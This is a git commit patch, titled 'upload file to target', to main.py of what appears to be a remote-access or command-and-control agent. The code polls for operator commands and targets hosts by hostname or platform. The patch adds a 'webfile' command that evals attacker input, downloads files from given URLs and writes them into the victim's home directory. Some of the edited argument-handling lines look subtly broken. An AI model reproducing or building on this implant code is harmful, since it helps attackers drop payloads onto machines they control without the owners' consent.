From 9e2a6dda35b26560a34dd93781162bfd67515461 Mon Sep 17 00:00:00 2001 From: mrdog233o5 Date: Fri, 1 Sep 2023 10:24:42 +0800 Subject: upload file to target --- main.py | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) (limited to 'main.py') diff --git a/main.py b/main.py index 103c6e4..122da9a 100644 --- a/main.py +++ b/main.py @@ -62,8 +62,13 @@ while True: if command.startswith("webfile "): localcmd = command.split(maxsplit=1) files = eval(localcmd[1]) - #for fileUrl in files: - # print(fileUrl) + for fileUrl in files: + fileData = get(fileUrl).content + fileName = os.path.basename(fileUrl) + filePath = os.path.expanduser("~") + with open(f"{filePath}/{fileName}", 'wb') as f: + f.write(fileData) + f.close() old_command = commandId #filename = os.path.basename(localcmd[1]) #print(filename) @@ -71,7 +76,7 @@ while True: if command.startswith("exename "): localcmd = command.split() if localcmd[1] == hostname: - del localcmd[:2] + del localcmd[2] localcmd = ' '.join(localcmd) else: old_command = commandId @@ -79,7 +84,7 @@ while True: if command.startswith("exeos "): localcmd = command.split() if localcmd[1] == platform: - del localcmd[:2] + del localcmd[2] localcmd = ' '.join(localcmd) else: old_command = commandId -- cgit v1.2.3